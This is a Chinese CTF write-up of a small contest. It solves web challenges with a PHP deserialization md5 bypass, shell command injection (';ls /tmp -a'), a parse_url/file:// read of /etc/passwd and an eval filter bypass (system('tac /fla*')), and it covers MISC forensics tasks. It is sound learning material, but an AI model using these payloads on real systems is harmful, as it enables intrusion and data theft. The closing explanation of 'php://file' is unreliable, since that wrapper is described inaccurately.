本文主要是介绍网络安全小赛,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
WEB
君子协议(robots.txt文件)
泄露的程序
超文本传输协议
反序列化
Curl
rec
梦想集团
MISC
binwalk
流量分析
网协杯海报
piz.galf
有点矮怎么办
流量分析
流量分析1
流量分析2
time_time
问题
1.file://和php://file他们有什么区别?
WEB
君子协议(robots.txt文件)
robots.txt文件又叫君子协议,因为他上面明确规定了上面文件可以访问,上面不可以访问,变相的告诉你他有什么文件
不知道的也可以直接dirsearch扫描,效果一样,我就是扫描的
响应包,我有两种方法,1是火狐,2是抓包
1火狐
2.抓包
泄露的程序
dirsearch吧,可以扫描爆破出他的备份包,然后下载下来,是一串base64编码,解密后就是flag
超文本传输协议
最后url解密即可
反序列化
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
class Flag{public $user;public $passwd;public function __construct(){$this->user = 'admin';$this->passwd = '123456';}public function __wakeup(){$this->passwd = base64_encode($this->passwd);}public function __destruct(){if(md5($this->user)==md5($this->passwd) & $this->user != $this->passwd){include ('flag.php');echo $flag;}else{echo "error";}}}
$un = $_GET['un'];
unserialize($un);
?>
md5绕过
<? phpclass Flag {public $user = [];public $passwd = [ 1 ];}$flag = new Flag ();echo serialize ( $flag );// O:4:"Flag":2:{s:4:"user";a:0:{}s:6:"passwd";a:1:{i:0;i:1;}}
我的反序列化笔记里有详细解释
Curl
按要求输入后
多出来一个对话框
查看页面源代码,发现有过滤,过滤数字,什么意思呢,就是必须有数字,也就验证了第一个对话框的内容
运用逻辑符
;ls /tmp -a
发现隐藏文件.flag,直接查看就行
rec
<?php
show_source(__FILE__);
#dasdjf.php
$ysy = $_GET['ysy'];
$parts = parse_url($ysy);
if(empty($parts['host']) || $parts['host'] != 'localhost') {exit('error');
}
readfile($ysy);
?>
parse_url()函数,一个完全不认识的函数
可以看出,他是对一个url进行分析,返回的是一个数组
懂了吧
这样也就很好绕过了,直接ysy=http://loaclhost/什么什么就行了
然后因为他是readfile,所以可以用伪协议file://进行读取
然后我就有了一个问题,file://和php://file他们有什么区别
最下面会回答
构造语句:
?ysy=file://localhost/etc/passwd
注意file://必须是绝对路径
有回显,那我们读取他要我们看的文件,
注意是绝对路径
还是查看页面源代码
<?php
header("Content-type:text/html;charset=utf-8");if (isset($_GET['a'])){$a = $_GET['a'];if (preg_match("/system|exec|highlight/i",$a) && !preg_match("/flag|cat/i",$a)){eval($a);} else{die("error");}
}else{echo "你想干嘛!!!!";
}
?>
可以看出,他要求必须使用system、exec或者highlight,不能有flag和cat
这个好办,cat变成tac,flag变成fla*不就行了
这样没反应,可能是#%的问题,有两种解决方案,1是url编码,2是*或者?绕过
构造
1./dasdjf.php?a=system('tac /fla%23%25g.txt');
2./dasdjf.php?a=system('tac /fla*');
梦想集团
各种寻找,没有任何线索
我们去dirsearch,发信啊robots.txt文件,进行查看,发现编码,进行解码,无解
题解猜测是文件名字!!!!!!我敲猜测原因就是因为那个每句话后面的点,有点离谱哈,记下来吧~
是这样爆破的,注意路径
得出
MISC
binwalk
直接用工具进行binwalk分离就行
流量分析
网协杯海报
010打开后,flag在末尾
piz.galf
倒过来读就是flag.zip
用010打开,复制为16进制
s =
'0000000000C5000000A500100010000000006050B405109D0FF4AE10FCD4109D0FF4DF62DF8F109
D0FF47F9BB6E60081001000000000000200A0478747E27616C666000000000000000200000000000
000420080000000A200000063E915060E75A3086700000010004100F32010B4054F73971E0E0388D
C2D063CF84B29CD0F9A8F3660B8839DDE406D13E1A2280389E7E92B86C4E84056D9C55638322F57E
0A9B01C611389478747E27616C66600000080000000A200000063E915060E75A3086700000010004
14030B405'
print(s[::-1])
504B03041
4000100000076803A57E060519E360000002A00000008000000666C61672E747874983116C10B9A0
E75F22383655C9D65048E4C68B29E7E9830822A1E31D604EDD9388B0663F8A9F0DC92B48FC360D2C
D8830E0E17937F4504B01023F0014000100000076803A57E060519E360000002A000000080024000
000000000002000000000000000666C61672E7478740A00200000000000010018006E6BB9F74FF0D
901F8FD26FD4FF0D9014DCF01EA4FF0D901504B050600000000010001005A0000005C0000000000
有点矮怎么办
010修改png的高度,
流量分析
某行业CTF一道流量分析题_keepb1ue的博客-CSDN博客
流量分析1
流量分析2
CTF-数据分析(一)_c02隐藏的数据(300分) 附件为截取到的文件,请找出隐藏的数据。提交flag格式:flag{-CSDN博客CTF-数据分析(一)_c02隐藏的数据(300分) 附件为截取到的文件,请找出隐藏的数据。提交flag格式:flag{-CSDN博客
菜刀流量
time_time
import os
flag = []
for i in range(44):
with open(f"time_time/{i}.txt") as f:
time = abs(int(os.path.getmtime(f"time_time/{i}.txt")) - 1900000000)
print(chr(time),end='')
# flag{TimeStamp_is_Very_goooooooooodddddddd!}
问题
1.file://和php://file他们有什么区别?
file://:file:// 是一个通用的文件访问协议,用于访问本地文件系统或网络上可公开访问的文件。它可以用于访问本地计算机上的文件,也可以通过网络路径来访问远程服务器上的文件。例如,file:///path/to/file 表示本地文件系统上的文件,file://hostname/path/to/file 表示远程服务器上的文件。
php://file:php://file 是 PHP 内置的封装协议,用于访问文件系统中的文件。这个协议允许您以流的形式访问文件内容,而不需要通过传统的文件路径进行操作。您可以使用 php://file 来读取、写入和操作文件。
需要注意的是,php://file 只能在 PHP 脚本中使用,而 file:// 则是通用的文件访问协议,可以在各种环境中使用。另外,php://file 还提供了一些特殊的流选项,例如 php://input 用于从请求的输入流中读取数据。
总结起来,file:// 是通用的文件访问协议,而 php://file 是 PHP 内置的封装协议,提供了更丰富的文件操作功能。
这篇关于网络安全小赛的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!